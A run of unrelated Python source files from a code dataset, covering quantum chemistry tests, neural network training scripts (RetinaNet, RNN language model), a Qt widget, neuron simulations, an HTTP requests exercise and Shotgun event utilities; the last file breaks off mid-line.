random_antisymmetric_matrix(self.n_qubits)\n\n # Initialize a non-particle-number-conserving Hamiltonian\n self.quad_ham_npc = QuadraticHamiltonian(\n self.constant, self.hermitian_mat, self.antisymmetric_mat,\n self.chemical_potential)\n\n def test_diagonalizes_quadratic_hamiltonian(self):\n \"\"\"Test that the unitary returned indeed diagonalizes a\n quadratic Hamiltonian.\"\"\"\n hermitian_part = self.quad_ham_npc.combined_hermitian_part\n antisymmetric_part = self.quad_ham_npc.antisymmetric_part\n block_matrix = numpy.zeros((2 * self.n_qubits, 2 * self.n_qubits),\n dtype=complex)\n block_matrix[:self.n_qubits, :self.n_qubits] = antisymmetric_part\n block_matrix[:self.n_qubits, self.n_qubits:] = hermitian_part\n block_matrix[self.n_qubits:, :self.n_qubits] = -hermitian_part.conj()\n block_matrix[self.n_qubits:, self.n_qubits:] = (\n -antisymmetric_part.conj())\n\n majorana_matrix, majorana_constant = self.quad_ham_npc.majorana_form()\n canonical, orthogonal = antisymmetric_canonical_form(majorana_matrix)\n ferm_unitary = diagonalizing_fermionic_unitary(majorana_matrix)\n diagonalized = ferm_unitary.conj().dot(\n block_matrix.dot(ferm_unitary.T.conj()))\n for i in numpy.ndindex((2 * self.n_qubits, 2 * self.n_qubits)):\n self.assertAlmostEqual(diagonalized[i], canonical[i])\n\n def test_bad_dimensions(self):\n n, p = (3, 4)\n ones_mat = numpy.ones((n, p))\n with self.assertRaises(ValueError):\n ferm_unitary = diagonalizing_fermionic_unitary(ones_mat)\n\n def test_not_antisymmetric(self):\n n = 4\n ones_mat = numpy.ones((n, n))\n with self.assertRaises(ValueError):\n ferm_unitary = diagonalizing_fermionic_unitary(ones_mat)\n\n def test_n_equals_3(self):\n n = 3\n # Obtain a random antisymmetric matrix\n rand_mat = numpy.random.randn(2 * n, 2 * n)\n antisymmetric_matrix = rand_mat - rand_mat.T\n\n # Get the diagonalizing fermionic unitary\n ferm_unitary = diagonalizing_fermionic_unitary(antisymmetric_matrix)\n lower_unitary = ferm_unitary[n:]\n lower_left = lower_unitary[:, :n]\n lower_right = lower_unitary[:, n:]\n\n # Check that lower_left and lower_right satisfy the constraints\n # necessary for the transformed fermionic operators to satisfy\n # the fermionic anticommutation relations\n constraint_matrix_1 = (lower_left.dot(lower_left.T.conj()) +\n lower_right.dot(lower_right.T.conj()))\n constraint_matrix_2 = (lower_left.dot(lower_right.T) +\n lower_right.dot(lower_left.T))\n\n identity = numpy.eye(n, dtype=complex)\n for i in numpy.ndindex((n, n)):\n self.assertAlmostEqual(identity[i], constraint_matrix_1[i])\n self.assertAlmostEqual(0., constraint_matrix_2[i])\n\n\nclass AntisymmetricCanonicalFormTest(unittest.TestCase):\n\n def test_equality(self):\n \"\"\"Test that the decomposition is valid.\"\"\"\n n = 7\n rand_mat = numpy.random.randn(2 * n, 2 * n)\n antisymmetric_matrix = rand_mat - rand_mat.T\n canonical, orthogonal = antisymmetric_canonical_form(\n antisymmetric_matrix)\n result_matrix = orthogonal.dot(antisymmetric_matrix.dot(orthogonal.T))\n for i in numpy.ndindex(result_matrix.shape):\n self.assertAlmostEqual(result_matrix[i], canonical[i])\n\n def test_canonical(self):\n \"\"\"Test that the returned canonical matrix has the right form.\"\"\"\n n = 7\n # Obtain a random antisymmetric matrix\n rand_mat = numpy.random.randn(2 * n, 2 * n)\n antisymmetric_matrix = rand_mat - rand_mat.T\n canonical, orthogonal = antisymmetric_canonical_form(\n antisymmetric_matrix)\n for i in range(2 * n):\n for j in range(2 * n):\n if i < n and j == n + i:\n self.assertTrue(canonical[i, j] > -EQ_TOLERANCE)\n elif i >= n and j == i - n:\n self.assertTrue(canonical[i, j] < EQ_TOLERANCE)\n else:\n self.assertAlmostEqual(canonical[i, j], 0.)\n\n diagonal = canonical[range(n), range(n, 2 * n)]\n for i in range(n - 1):\n self.assertTrue(diagonal[i] <= diagonal[i + 1])\n\n\nclass GivensMatrixElementsTest(unittest.TestCase):\n\n def setUp(self):\n self.num_test_repetitions = 5\n\n def test_already_zero(self):\n \"\"\"Test when some entries are already zero.\"\"\"\n # Test when left entry is zero\n v = numpy.array([0., numpy.random.randn()])\n G = givens_matrix_elements(v[0], v[1])\n self.assertAlmostEqual(G.dot(v)[0], 0.)\n # Test when right entry is zero\n v = numpy.array([numpy.random.randn(), 0.])\n G = givens_matrix_elements(v[0], v[1])\n self.assertAlmostEqual(G.dot(v)[0], 0.)\n\n def test_real(self):\n \"\"\"Test that the procedure works for real numbers.\"\"\"\n for _ in range(self.num_test_repetitions):\n v = numpy.random.randn(2)\n G_left = givens_matrix_elements(v[0], v[1], which='left')\n G_right = givens_matrix_elements(v[0], v[1], which='right')\n self.assertAlmostEqual(G_left.dot(v)[0], 0.)\n self.assertAlmostEqual(G_right.dot(v)[1], 0.)\n\n def test_bad_input(self):\n \"\"\"Test bad input.\"\"\"\n with self.assertRaises(ValueError):\n v = numpy.random.randn(2)\n G = givens_matrix_elements(v[0], v[1], which='a')\n\n\nclass GivensRotateTest(unittest.TestCase):\n\n def test_bad_input(self):\n \"\"\"Test bad input.\"\"\"\n with self.assertRaises(ValueError):\n v = numpy.random.randn(2)\n G = givens_matrix_elements(v[0], v[1])\n givens_rotate(v, G, 0, 1, which='a')\n\n\nclass DoubleGivensRotateTest(unittest.TestCase):\n\n def test_odd_dimension(self):\n \"\"\"Test that it raises an error for odd-dimensional input.\"\"\"\n A = numpy.random.randn(3, 3)\n v = numpy.random.randn(2)\n G = givens_matrix_elements(v[0], v[1])\n with self.assertRaises(ValueError):\n double_givens_rotate(A, G, 0, 1, which='row')\n with self.assertRaises(ValueError):\n double_givens_rotate(A, G, 0, 1, which='col')\n\n def test_bad_input(self):\n \"\"\"Test bad input.\"\"\"\n A = numpy.random.randn(3, 3)\n v = numpy.random.randn(2)\n G = givens_matrix_elements(v[0], v[1])\n with self.assertRaises(ValueError):\n double_givens_rotate(A, G, 0, 1, which='a')\n\n\nclass JWSparseGivensRotationTest(unittest.TestCase):\n\n def test_bad_input(self):\n with self.assertRaises(ValueError):\n givens_matrix = jw_sparse_givens_rotation(0, 2, 1., 1., 5)\n with self.assertRaises(ValueError):\n givens_matrix = jw_sparse_givens_rotation(4, 5, 1., 1., 5)\n\n\ndef random_quadratic_hamiltonian(n_qubits,\n conserves_particle_number=False,\n real=False):\n \"\"\"Generate a random instance of QuadraticHamiltonian\n\n Args:\n n_qubits(int): the number of qubits\n conserves_particle_number(bool): whether the returned Hamiltonian\n should conserve particle number\n real(bool): whether to use only real numbers\n\n Returns:\n QuadraticHamiltonian\n \"\"\"\n constant = numpy.random.randn()\n chemical_potential = numpy.random.randn()\n hermitian_mat = random_hermitian_matrix(n_qubits, real)\n if conserves_particle_number:\n antisymmetric_mat = None\n else:\n antisymmetric_mat = random_antisymmetric_matrix(n_qubits, real)\n return QuadraticHamiltonian(constant, hermitian_mat,\n antisymmetric_mat, chemical_potential)\n","sub_path":"src/openfermion/utils/_slater_determinants_test.py","file_name":"_slater_determinants_test.py","file_ext":"py","file_size_in_byte":28943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"596045817","text":"import tensorflow.keras as tfk\nfrom models.base import BaseNetwork\n\nclass ResNet(BaseNetwork):\n \"\"\" Residual Network \"\"\"\n\n def __init__(self, step_size, horizon, name, dim_state, dim_h=500, activation='relu', **kwargs):\n super().__init__(step_size, horizon, name, dim_state)\n\n self.network = tfk.Sequential([\n tfk.layers.Dense(dim_h, activation=activation),\n tfk.layers.Dense(dim_state)\n ])\n\n def step(self, x, step_size, t):\n dxdt = self.network(x)\n return x + step_size * dxdt","sub_path":"models/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"344356286","text":"from __future__ import print_function\n\nimport os\nimport argparse\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.backends.cudnn as cudnn\n\nimport torchvision\nimport torchvision.transforms as transforms\n\nfrom loss import FocalLoss\nfrom retinanet import RetinaNet\nfrom datagen import ListDataset\n\nfrom torch.autograd import Variable\nfrom torchsummary import summary\n\n\nimport math\n\ndef weights_init(m):\n classname=m.__class__.__name__\n if classname.find('Conv') != -1:\n nn.init.xavier_normal(m.weight.data)\n # nn.init.xavier_normal(m.bias.data)\n elif classname.find('BatchNorm') != -1:\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\nprint(\"111111111111111111111\")\nparser = argparse.ArgumentParser(description='PyTorch RetinaNet Training')\nparser.add_argument('--lr', default=1e-3, type=float, help='learning rate')\nparser.add_argument('--resume', '-r', action='store_true', help='resume from checkpoint')\nargs = parser.parse_args()\n\nassert torch.cuda.is_available(), 'Error: CUDA not found!'\nbest_loss = float('inf') # best test loss\nstart_epoch = 0 # start from epoch 0 or last epoch\n\n# Data\nprint('==> Preparing data..')\ntransform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.485,0.456,0.406), (0.229,0.224,0.225))\n])\n\ntrainset = ListDataset(root='./yuncong_data',\n list_file='./yuncong_data/Mall_train.txt', train=True, transform=transform, input_size=600)\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=2, shuffle=True, num_workers=1, collate_fn=trainset.collate_fn)\n\ntestset = ListDataset(root='./yuncong_data',\n list_file='./yuncong_data/test_train.txt', train=False, transform=transform, input_size=600)\ntestloader = torch.utils.data.DataLoader(testset, batch_size=1, shuffle=False, num_workers=4, collate_fn=testset.collate_fn)\n\n# Model\nnet = RetinaNet()\nnet.apply(weights_init)\n\n\nnet.cuda()\nsummary(net,(3,224,224))\n# net.load_state_dict(torch.load('./pre-model/net.pth'))\nif args.resume:\n print('==> Resuming from checkpoint..')\n checkpoint = torch.load('./checkpoint/ckpt.pth')\n net.load_state_dict(checkpoint['net'])\n best_loss = checkpoint['loss']\n # best_loss = 1\n start_epoch = checkpoint['epoch']\n\nnet = torch.nn.DataParallel(net, device_ids=range(torch.cuda.device_count()))\nnet.cuda()\n\ncriterion = FocalLoss()\noptimizer = optim.SGD(net.parameters(), lr=1e-3, momentum=0.9, weight_decay=1e-4)\n\n# Training\n#####################xiejian\nloss_history = []\n############################\n\ndef train(epoch):\n index = 0\n print('\\nEpoch: %d' % epoch)\n net.train()\n net.module.freeze_bn()\n train_loss = 0\n for batch_idx, (inputs, loc_targets, cls_targets) in enumerate(trainloader):\n inputs = Variable(inputs.cuda())\n loc_targets = Variable(loc_targets.cuda())\n cls_targets = Variable(cls_targets.cuda())\n\n optimizer.zero_grad()\n loc_preds, cls_preds = net(inputs)\n loss = criterion(loc_preds, loc_targets, cls_preds, cls_targets)\n loss.backward()\n optimizer.step()\n\n train_loss += loss.data.item()\n \n index += 1\n # if index %10 == 0:\n print('train_loss: %.3f | avg_loss: %.3f' % (loss.data.item(), train_loss/(batch_idx+1)))\n loss_history.append(train_loss/(batch_idx+1))\n\n# Test\ndef test(epoch):\n # print('\\nTest')参数时的动作,默认值\n # net.eval()\n test_loss = 0\n for batch_idx, (inputs, loc_targets, cls_targets) in enumerate(testloader):\n inputs = Variable(inputs.cuda(), volatile=True)\n loc_targets = Variable(loc_targets.cuda())\n cls_targets = Variable(cls_targets.cuda())\n\n loc_preds, cls_preds = net(inputs)\n loss = criterion(loc_preds, loc_targets, cls_preds, cls_targets)\n test_loss += loss.data.item()\n print('test_loss: %.3f | avg_loss: %.3f' % (loss.data.item(), test_loss/(batch_idx+1)))\n\n # Save checkpoint\n global best_loss\n test_loss /= len(testloader)\n if test_loss < best_loss:\n print('Saving..')\n state = {\n\n 'net': net.module.state_dict(),\n 'loss': test_loss,\n 'epoch': epoch,\n }\n if not os.path.isdir('checkpoint'):\n os.mkdir('checkpoint')\n torch.save(state, './checkpoint/ckpt.pth')\n best_loss = test_loss\n\n\nfor epoch in range(start_epoch, start_epoch + 10):\n print(best_loss)\n train(epoch)\n test(epoch)\nimport matplotlib.pyplot as plt\nplt.plot(range(len(loss_history)),loss_history)\nplt.show()\n","sub_path":"服务器端/HD-video/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"565161721","text":"import os\nimport sys\nimport random\nfrom torch.utils.data import Dataset\nfrom language import Language\nfrom utils import tokens_to_seq, contains_digit, shuffle_correlated_lists, chunks\nfrom operator import itemgetter\nimport datetime\n\ncurrentDT = datetime.datetime.now()\n\nclass OneFoldSequencePairDataset(Dataset):\n\n def __init__(self,\n unprocessed_data,\n maxlen,\n vocab_limit,\n use_extended_vocab):\n\n self.maxlen = maxlen\n self.parser = None\n self.use_extended_vocab = use_extended_vocab\n\n self.data = [] # Will hold all data\n\n # Process the data by removing new lines and splitting the words\n for i in range(len(unprocessed_data)):\n inputs = unprocessed_data[i][0]\n outputs = unprocessed_data[i][1]\n inputsL = inputs.replace('\\n', '').split(' ')\n outputsL = outputs.replace('\\n', '').split(' ')\n self.data.append([inputsL, outputsL])\n\n self.lang = Language(vocab_limit, self.data)\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n \"\"\"\n :arg\n idx: int\n\n :returns\n input_token_list: list[int]\n output_token_list: list[int]\n token_mapping: binary array\"\"\"\n\n data_pair = self.data[idx]\n \n # Add in the start and end of sentence and chop at the max length\n input_token_list = ([''] + data_pair[0] + [''])[:self.maxlen]\n output_token_list = ([''] + data_pair[1] + [''])[:self.maxlen]\n # Turn the words to tokens\n input_seq = tokens_to_seq(input_token_list, self.lang.tok_to_idx, self.maxlen, self.use_extended_vocab)\n output_seq = tokens_to_seq(output_token_list, self.lang.tok_to_idx, self.maxlen, self.use_extended_vocab, input_tokens=input_token_list)\n\n return input_seq, output_seq, ' '.join(input_token_list), ' '.join(output_token_list)\n\ndef generateKFoldDatasets(data_name,\n seed,\n maxlen=200,\n lang=None,\n vocab_limit=None,\n use_extended_vocab=True,\n k=5):\n \n with open('./data/' + data_name + '_src.txt', \"r\") as sf:\n src_lines = sf.readlines()\n\n with open('./data/' + data_name + '_tar.txt', \"r\") as tf:\n tgt_lines = tf.readlines()\n\n if not len(src_lines) == len(tgt_lines):\n sys.exit(\"ERROR: Data files have inconsistent lengths. Make sure your labels are aligned correctly.\")\n\n # Shuffle the dataset before partitioning\n src_lines, tgt_lines, order = shuffle_correlated_lists(src_lines, tgt_lines, seed=seed)\n data = [(src_lines[i], tgt_lines[i]) for i in range(len(src_lines))]\n\n # Uncomment to get logs on the order of the data points\n #f = open(\"./logs/log_ordering\" + currentDT.strftime(\"%Y%m%d%H%M%S\") + \".txt\", \"w\")\n #for i in order:\n # f.write(\"{}\\n\".format(i))\n #f.close()\n\n # Divide the data into k chunks\n chunked = chunks(data, k)\n folds = []\n for _ in range(k):\n folds.append(next(chunked))\n\n # Build the k training and testing datasets\n datasets = []\n for i in range(k):\n # Build out data for the datasets\n train_data = []\n test_data = []\n # For each fold\n for j in range(len(folds)):\n if i == j: # Pick one fold for testing data\n test_data += folds[j]\n else: # Add other folds to training data\n train_data += folds[i]\n \n # Make the testing and training dataset objects\n training_dataset = OneFoldSequencePairDataset(train_data, maxlen, vocab_limit, use_extended_vocab)\n test_dataset = OneFoldSequencePairDataset(test_data, maxlen, vocab_limit, use_extended_vocab)\n\n datasets.append((training_dataset, test_dataset))\n\n return datasets\n","sub_path":"kfoldltldataset.py","file_name":"kfoldltldataset.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"628235159","text":"from qtpy.QtWidgets import QToolButton, QLabel\nfrom qtpy.QtGui import QPixmap, QIcon\nfrom qtpy.QtCore import QSize, Qt\n\nimport qrainbowstyle\n\n\nclass appLogoButton(QToolButton):\n \"\"\"\n Clickable main window button with app logo.\n Menu can be added using setMenu().\n \"\"\"\n\n def __init__(self, parent):\n super(appLogoButton, self).__init__(parent)\n\n self.setIcon(QIcon(qrainbowstyle.APP_ICON_PATH))\n\n self.setFixedSize(QSize(32, 32))\n self.setStyleSheet(\"border: none;\")\n self.setIconSize(QSize(28, 28))\n self.setArrowType(Qt.NoArrow)\n self.setPopupMode(QToolButton.InstantPopup)\n\n\nclass appLogoLabel(QLabel):\n \"\"\"\n Label with app logo. Is show in FramelessDialog\n and FramelessMessageBox.\n \"\"\"\n\n def __init__(self, parent):\n super(appLogoLabel, self).__init__(parent)\n\n self.setPixmap(QPixmap(qrainbowstyle.APP_ICON_PATH))\n self.setScaledContents(True)\n self.setFixedSize(32, 32)\n self.setStyleSheet(\"border: none;\")\n","sub_path":"qrainbowstyle/windows/titlebar/appLogoButton.py","file_name":"appLogoButton.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"170691950","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 16 11:55:44 2017\n\n@author: Nakanishi\n\"\"\"\n\nfrom multiprocessing import Pool\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom neuron9h import Neuron\n\ndef plot(process):\n if process == 0:\n neu = Neuron(0.001, 5000, 1, -65, 0.1, 2500, 1500, 10)\n for i in range(0, int(neu.cycle)-1):\n neu.propagation()\n t = np.arange(0, neu.simtime, neu.dt)\n plt.plot(t, neu.vin[0])\n plt.plot(t, neu.vde[0])\n plt.title(\"Pmax = 0.1,noise = 10\")\n plt.show()\n\n elif process == 1:\n neu = Neuron(0.001, 5000, 2, -65, 0.1, 2500, 1500, 100)\n for i in range(0, int(neu.cycle)-1):\n neu.propagation()\n t = np.arange(0, neu.simtime, neu.dt)\n plt.plot(t, neu.vin[0])\n plt.plot(t, neu.vde[0])\n plt.title(\"Pmax = 0.1,noise = 100\")\n plt.show()\n\n elif process == 2:\n neu = Neuron(0.001, 5000, 3, -65, 0.3, 2500, 1500, 10)\n for i in range(0, int(neu.cycle)-1):\n neu.propagation()\n t = np.arange(0, neu.simtime, neu.dt)\n plt.plot(t, neu.vin[0])\n plt.plot(t, neu.vde[0])\n plt.title(\"Pmax = 0.3,noise = 10\")\n plt.show()\n\n elif process == 3:\n neu = Neuron(0.001, 5000, 4, -65, 0.3, 2500, 1500, 100)\n for i in range(0, int(neu.cycle)-1):\n neu.propagation()\n t = np.arange(0, neu.simtime, neu.dt)\n plt.plot(t, neu.vin[0])\n plt.plot(t, neu.vde[0])\n plt.title(\"Pmax = 0.3,noise = 100\")\n plt.show()\n\ndef main():\n\n process = 4\n p = Pool(process)\n result = p.map(plot, range(process))\n'''\n neu = Neuron(0.001, 2000, 1, -65, 0.1, 2500, 1500, 1)\n \n M = np.zeros(neu.cycle)\n N = np.zeros(neu.cycle)\n \n for i in range(0, int(neu.cycle)-1):\n neu.propagation()\n \n M[i] = neu.isyn[0, neu.nowstep]\n \n N[i] = neu.Ikca[0]\n \n \n t = np.arange(0, neu.simtime, neu.dt)\n \n plt.plot(t, neu.vin[0])\n plt.plot(t, neu.vde[0])\n \n plt.plot(t, M)\n \n plt.plot(t, N)\n \n\n\n plt.show()\n'''\nif __name__=='__main__':\n main()\n","sub_path":"HH2/main9.py","file_name":"main9.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"645390515","text":"###################################\n# Lambda/chool - Assignment 1\n# Date: 08/02/2017\n# HTTP Requests\n###################################\n\nimport requests\n\n# Part 1 - get the text from google.com\n# and print to webpage.html\n\ngoogle = requests.get(\"https://www.google.com\")\nprint(google.status_code)\n\nf = open(\"webpage.html\", \"w+\")\nf.write(str(google.text))\nf.close()\n\n# Part 2 - post information in json format to https://lambdaSchool.com/contact\n\nform_info = {\n\t\"name\":\"Caz\",\n\t\"lastname\":\"in Australia\",\n\t\"email\":\"kazeisc@gmail.com\",\n\t\"message\":\"Coding is a fantastic skill to have!\"\n}\n\nr = requests.post(\"https://lambdaschool.com/contact-form\", json = form_info)\nprint(\"status code: %s\\nresponse: %s\" % (r.status_code, r.text))\n\n","sub_path":"python-mini-bootcamp-1/httpRequests.py","file_name":"httpRequests.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"413916158","text":"from datetime import datetime\nimport hashlib\nimport imp\nimport os\nimport re\nimport sys\nimport traceback\n\nimport sgapi\n\n\ndef get_shotgun(shotgun=None):\n\n if shotgun is None:\n\n try:\n import shotgun_api3_registry\n except ImportError:\n raise ValueError('Shotgun instance is required if shotgun_sg3_registry:get_args does not exist')\n\n if hasattr(shotgun_api3_registry, 'get_kwargs'):\n shotgun = shotgun_api3_registry.get_kwargs()\n else:\n shotgun = shotgun_api3_registry.get_args()\n\n if isinstance(shotgun, (list, tuple)):\n shotgun = sgapi.Shotgun(*shotgun)\n elif isinstance(shotgun, dict):\n shotgun = sgapi.Shotgun(**shotgun)\n\n return shotgun\n\n\ndef get_adhoc_module(path):\n name = re.sub('\\W+', '__', path) + '_' + hashlib.md5(path).hexdigest()[:8]\n try:\n return sys.modules[name]\n except KeyError:\n if path.endswith('.pyc'):\n return imp.load_compiled(name, path)\n else:\n return imp.load_source(name, path)\n\n\ndef get_func_name(spec):\n if isinstance(spec, basestring):\n return spec\n return '%s.%s' % (getattr(spec, '__module__', '__module__'), getattr(spec, '__name__', str(spec)))\n\n\ndef get_func(spec):\n\n if not isinstance(spec, basestring):\n return spec\n \n m = re.match(r'([\\w\\.]+):([\\w]+)$', spec)\n if m:\n mod_name, func_name = m.groups()\n mod = __import__(mod_name, fromlist=['.'])\n return getattr(mod, func_name)\n\n m = re.match(r'(.+):([\\w]+)$', spec)\n if m:\n path, func_name = m.groups()\n if '/' in path:\n module = get_adhoc_module(path)\n return getattr(module, func_name)\n\n raise ValueError('spec must be like \"/path/to/module.py:func_name\" or \"package.module:func_name\"; got %r' % spec)\n\n\ndef envvars_for_event(event, prefix='SGEVENT'):\n envvars = {}\n for k, v in event.iteritems():\n k = prefix + '_' + re.sub('\\W+', '_', k.upper())\n if isinstance(v, dict):\n envvars.update(envvars_for_event(v, k))\n else:\n envvars[k] = str(v)\n return envvars\n\n\ndef get_command_prefix(envvars):\n if 'VEE_EXEC_ARGS' in envvars or 'KS_DEV_ARGS' in envvars:\n # These both have a \"dev\" command with a \"--bootstrap\" which do\n # the same thing.\n return ['dev', '--bootstrap']\n else:\n return []\n\n\ndef pickleable(value):\n \n if isinstance(value, dict):\n return dict((k, pickleable(v)) for k, v in value.iteritems())\n \n if isinstance(value, datetime) and value.tzinfo:\n # Convert to UTC\n return datetime(*value.utctimetuple()[:6])\n\n return value\n\n\ndef try_call_except_traceback(func, *args, **kwargs):\n try:\n func(*args, **kwargs)\n except:\n traceback.print_exc()\n raise\n\n","sub_path":"sgevents/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"27500995","text":"# python RNNLM.py train.txt test.txt 1\nimport tensorflow as tf\nfrom tensorflow.contrib import rnn\nimport numpy as np\nfrom tensorflow.python import debug as tf_debug\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0,1,2\"\nfrom collections import Counter, OrderedDict\nimport sys\nimport math\nfrom datetime import datetime\nimport copy\nclass OrderedCounter(Counter, OrderedDict):\n\t'Counter that remembers the order elements are first seen'\n\tdef __repr__(self):\n\t\treturn '%s(%r)' % (self.__class__.__name__,\n\t\t\tOrderedDict(self))\n\tdef __reduce__(self):\n\t\treturn self.__class__, (OrderedDict(self),)\n\ndef make_combined_data(filename, segfilename):\n\n\tfile = open(filename,'r')\n\tseg = open(segfilename, 'r')\n\tdata = []\n\tfor index, line in enumerate(file):\n\t\tline = line.rstrip()\n\t\tseg_line = seg.readline().rstrip().split()\n\t\tfor index2, word in enumerate(line.split()):\n\t\t\tdata.append([word, int(seg_line[index2])])\n\t\tdata.append([\"\", 0])\n\tfile.close()\n\tseg.close()\n\treturn np.array(data)\n\ndef make_wordid_map(data, k):\n\t\"\"\"\n\tk is the number of least frequently occuring words in the training \n\tset that will be treated as so as to facilitate good estimates of words\n\t\"\"\"\n\n\tcounter = OrderedCounter([i[0] for i in data])\n\tcommon_words = counter.most_common()\n\ttotal_words = sum(counter.values())\n\t\n\titem_to_id = dict()\n\tleast_word_dict = dict(common_words[:-k-1:-1])\n\tprint(\"The percentage of words treated as %f\" % ( sum(least_word_dict.values())*100.0/total_words) )\n\titem_to_id[\"\"] = len(item_to_id)\n\ti = 1\n\tfor word in counter:\n\t\tif word not in least_word_dict.keys():\n\t\t\titem_to_id[word] = i\n\t\t\ti += 1\n\t\telse:\n\t\t\titem_to_id[word] = 0\n\t\t\t\n\treturn item_to_id\n\ndef encode(data, wordid_map):\n\n\twordid_list = []\n\tfor word in data:\n\t\tif word in wordid_map.keys():\n\t\t\twordid_list.append(wordid_map[word])\n\t\telse:\n\t\t\twordid_list.append(wordid_map[''])\n\treturn np.array(wordid_list)\n\ndef make_batch(index,data, wordid_map, batch_index, batch_size, num_steps):\n\ttemp_index = [i+batch_index*num_steps for i in index]\n\ttemp_index2 = [i+batch_index*num_steps+1 for i in index]\n\ttotal_batch = [i[0] for i in data[temp_index]]\n\ttotal_batch = encode(total_batch, wordid_map)\n\ttotal_batch_2 = [i[0] for i in data[temp_index2]]\n\ttotal_batch_2 = encode(total_batch_2, wordid_map)\n\ttotal_batch_3 = [i[1] for i in data[temp_index]]\n\tbatch_x = []\n\tseg_x = []\n\tbatch_y = []\n\tfor i in range(0,batch_size*num_steps,num_steps):\n\t\ttemp = total_batch[i:i+num_steps]\n\t\ttemp2 = total_batch_2[i:i+num_steps]\n\t\ttemp3 = total_batch_3[i:i+num_steps]\n\t\tbatch_x.append(temp)\n\t\tbatch_y.append(temp2)\n\t\tseg_x.append(temp3)\n\treturn (batch_x,np.array(seg_x)[...,np.newaxis],batch_y)\n\ndef get_batch(index,data,wordid_map ,batch_index, batch_size, num_steps):\n\n\treturn make_batch(index,data, wordid_map, batch_index, batch_size, num_steps)\n\ndef initialize_index(batch_size,num_steps,length):\n\tt = length//(batch_size*num_steps)\n\tindex = range(batch_size)\n\ttemp = []\n\t[temp.extend(range(i*t*num_steps,i*t*num_steps+num_steps)) for i in index]\n\treturn temp\n\ndef rnn_cell(keep_prob):\n\treturn tf.contrib.rnn.DropoutWrapper(\n\t\trnn.BasicLSTMCell(num_hidden_units,reuse=tf.get_variable_scope().reuse)\n\t\t,output_keep_prob=keep_prob\n\t\t,variational_recurrent=True\n\t\t,dtype=tf.float32)\n\ndef train_graph():\n\n\tinput_data = tf.placeholder(tf.int32, shape=[batch_size, num_steps])\n\tsegmentation_data = tf.placeholder(tf.float32, shape=[batch_size, num_steps, 1])\n\ttarget = tf.placeholder(tf.int32, shape=[batch_size, num_steps])\n\tkeep_prob = tf.placeholder(tf.float32)\n\n\tembedding = tf.get_variable(\"embedding\", [word_vocab_size, rnn_size])\n\tsoftmax_w = tf.get_variable(\"softmax_w\", [rnn_size, word_vocab_size])\n\tsoftmax_b = tf.get_variable(\"softmax_b\", [word_vocab_size])\n\t\n\tinputs = tf.nn.embedding_lookup(embedding, input_data)\n\tstacked_inputs = tf.concat([inputs, segmentation_data], 2)\n\n\tcells = rnn.MultiRNNCell([rnn_cell(keep_prob) for _ in range(num_hidden_layers)])\n\trnn_initial_state = cells.zero_state(batch_size, dtype=tf.float32)\n\toutputs, final_state = tf.nn.dynamic_rnn(cells,stacked_inputs,initial_state=rnn_initial_state,dtype=tf.float32)\n\t\n\toutputs = tf.reshape(tf.concat(outputs,1),[-1,rnn_size])\n\n\tlogits = tf.matmul(outputs,softmax_w) + softmax_b\n\tlogits = tf.reshape(logits, [batch_size, num_steps, word_vocab_size])\t\n\n\tloss = tf.contrib.seq2seq.sequence_loss(logits\n\t\t\t\t\t\t\t\t\t\t\t, target\n\t\t\t\t\t\t\t\t\t\t\t, tf.ones([batch_size, num_steps]\n\t\t\t\t\t\t\t\t\t\t\t, dtype=tf.float32)\n\t\t\t\t\t\t\t\t\t\t\t, average_across_timesteps=True\n\t\t\t\t\t\t\t\t\t\t\t, average_across_batch=False)\n\n\tcost = tf.reduce_sum(loss) / batch_size\n\n\ttvars = tf.trainable_variables()\n\tgrads, _ = tf.clip_by_global_norm(tf.gradients(cost, tvars), grad_clip)\n\n\t# optimizer = tf.train.AdamOptimizer(learning_rate)\n\toptimizer = tf.train.GradientDescentOptimizer(1.0)\n\ttrain_op = optimizer.apply_gradients(zip(grads, tvars))\n\n\treturn input_data, segmentation_data, target, keep_prob, cost, train_op, final_state, rnn_initial_state\n\t\ndef inference_graph():\n\tinput_data = tf.placeholder(tf.int32, shape=[batch_size, num_steps])\n\ttarget = tf.placeholder(tf.int32, shape=[batch_size, num_steps])\n\tkeep_prob = tf.placeholder(tf.float32)\n\n\tembedding = tf.get_variable(\"embedding\", [word_vocab_size, rnn_size])\n\tsoftmax_w = tf.get_variable(\"softmax_w\", [rnn_size, word_vocab_size])\n\tsoftmax_b = tf.get_variable(\"softmax_b\", [word_vocab_size])\n\n\tinputs = tf.nn.embedding_lookup(embedding, input_data)\n\n\n\tcells = tf.contrib.rnn.MultiRNNCell([rnn_cell(keep_prob) for _ in range(num_hidden_layers)])\n\trnn_initial_state_0 = state_0 = cells.zero_state(batch_size, dtype=tf.float32)\n\trnn_initial_state_1 = state_1 = cells.zero_state(batch_size, dtype=tf.float32)\n\n\tlogits = []\n\twith tf.variable_scope(\"rnn\") as vs:\n\t\tfor i in range(num_steps):\n\t\t\toutput_00, 